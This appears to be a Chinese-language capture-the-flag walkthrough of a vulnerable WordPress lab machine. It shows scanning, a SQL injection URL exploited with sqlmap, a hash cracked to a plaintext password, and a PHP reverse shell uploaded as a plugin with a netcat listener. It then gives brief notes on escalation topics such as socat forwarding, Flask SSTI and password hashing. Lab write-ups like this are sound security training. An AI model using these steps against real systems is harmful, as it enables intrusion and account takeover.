靶机信息:
created by cromiphi
Release Date // 2021-06-04
MD5 // 66849c6723537ad16fec1c149ed8ef37
攻击机 192.168.56.5
信息收集
目标IP:sudo nmap -sn 192.168.56.0/24 获得ip:192.168.56.3
端口扫描:sudo nmap -sT –min-rate 10000 -p- 192.168.56.3 获得目标端口:80、22
两个端口 80,22 方向为 web服务
目录扫描:gobuster dir -u http://192.168.56.3 –wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .zip,.sql,.html,.rar,.txt,.php 获得关键目录 wordpress 和一个兔子洞 latest.zip
访问http://192.168.56.3/wordpress 确定网页为 wordpress CMS
使用wpscan 测试http://192.168.56.3/wordpress 用户名枚举 插件漏洞枚举
wpscan –url http://192.168.56.3/wordpress -e u
插件漏洞枚举有两点需要注意 1.需要带上wpscan的api-token 插件枚举的模式需要设置为aggressive
wpscan –url http://192.168.56.3/wordpress –api-token xxxxxxx -e vp –plugins-detection aggressive
获得立足点
https://www.exploit-db.com/exploits/36243/ sql注入漏洞利用
http://192.168.56.3/wordpress/?action=data_management&cpmvc_do_action=mvparse&f=edit&id=1
sqlmap -u “” –batch –dump 将目标数据库的user表 dump下来
获得一个凭证 $P$BsyLMheEjjRPfxertXBQWm6Nq8.YBr.
echo ‘ $P$BsyLMheEjjRPfxertXBQWm6Nq8.YBr. ‘>>hashes
john –wordlist=/usr/share/wordlists/rockyou.txt hashes 获得密码 :sanitarium
后台网址 http://192.168.56.3/wordpress/wp-admin/ 使用 webmaster:sanitarium 登陆wordpress
进入后台 wordpress getshell
在plugins中 提交插件 addnew中 提交一个反弹shell
kali自带反弹shell: /usr/share/webshells/php/php-reverse-shell.php 修改监听ip
nc -lvp 1234 监听反弹 在media中找到上传的php-reverse-shell.php 访问
获得反弹shell www-data
提权
涉及知识点
1.dmesg
dmesg是一个在Linux系统中广泛使用的命令,它用于显示内核环形缓冲区(ring buffer)中的消息:系统启动和运行过程中的重要信息,如硬件检测、驱动加载、系统错误等
2.socat 和 端口转发 和 tldr 和 ss
Too Long; Didn’t Read”(简称TLDR),提供了一个快速入门的指南,让读者可以迅速开始使用软件。
socat
是一个多功能的网络工具,它用于在两个或多个地址之间建立双向的数据传输。这些地址可以是网络套接字、文件、串行端口、SSL端口等。socat
常被用于端口转发、网络监控、测试和调试等场景。
tldr socat
socat TCP-LISTEN:80,fork TCP4:127.0.0.1:88
上述语句将到达端口80的流量转发到本地的另一个服务上,例如,你可能有一个运行在端口88上的本地Web服务器,你希望所有通过端口80的流量都被转发到这个服务器上
ss是类似netstat 的更新的工具
命令是Linux系统中用于查看套接字信息的工具,它是
ssnetstat
命令的一个现代替代品。ss
命令提供了更丰富的选项和更好的性能。以下是ss
命令的-lntup
选项的详细解释:
-l
(listen):显示监听状态的套接字。这包括所有正在等待接受连接的TCP和UDP服务。-n
(numeric):不解析服务名称(如端口号和地址),显示实际的数字。通常与-a
(显示所有连接,包括监听和非监听)一起使用时,-a
会尝试解析服务名称,而-n
会阻止这一行为。-t
(TCP):显示TCP连接。如果不使用-t
或-u
,则会显示所有TCP和UDP连接。-a
(all):显示所有套接字(包括监听和非监听的套接字)。-p
(process):显示监听套接字所属的进程信息。这需要有足够的权限,通常是root权限。-u
(UDP):显示UDP连接。与-t
类似,如果不指定-t
或-u
,则会显示所有TCP和UDP连接。
3.flask框架 和 ssti注入漏洞 和Flask框架中,开启debug模式
Flask是一个用Python编写的轻量级Web应用框架
4.openssl passwd 和 Mkpasswd
OpenSSL 是一个广泛使用的开源库,它提供了各种加密函数、协议和工具,用于保护计算机网络上的通信。openssl passwd 命令允许您为不同的算法(如 DES、MD5、SHA-256 等)生成密码哈希
mkpasswd -m SHA-512 123456
openssl passwd 123456
写得好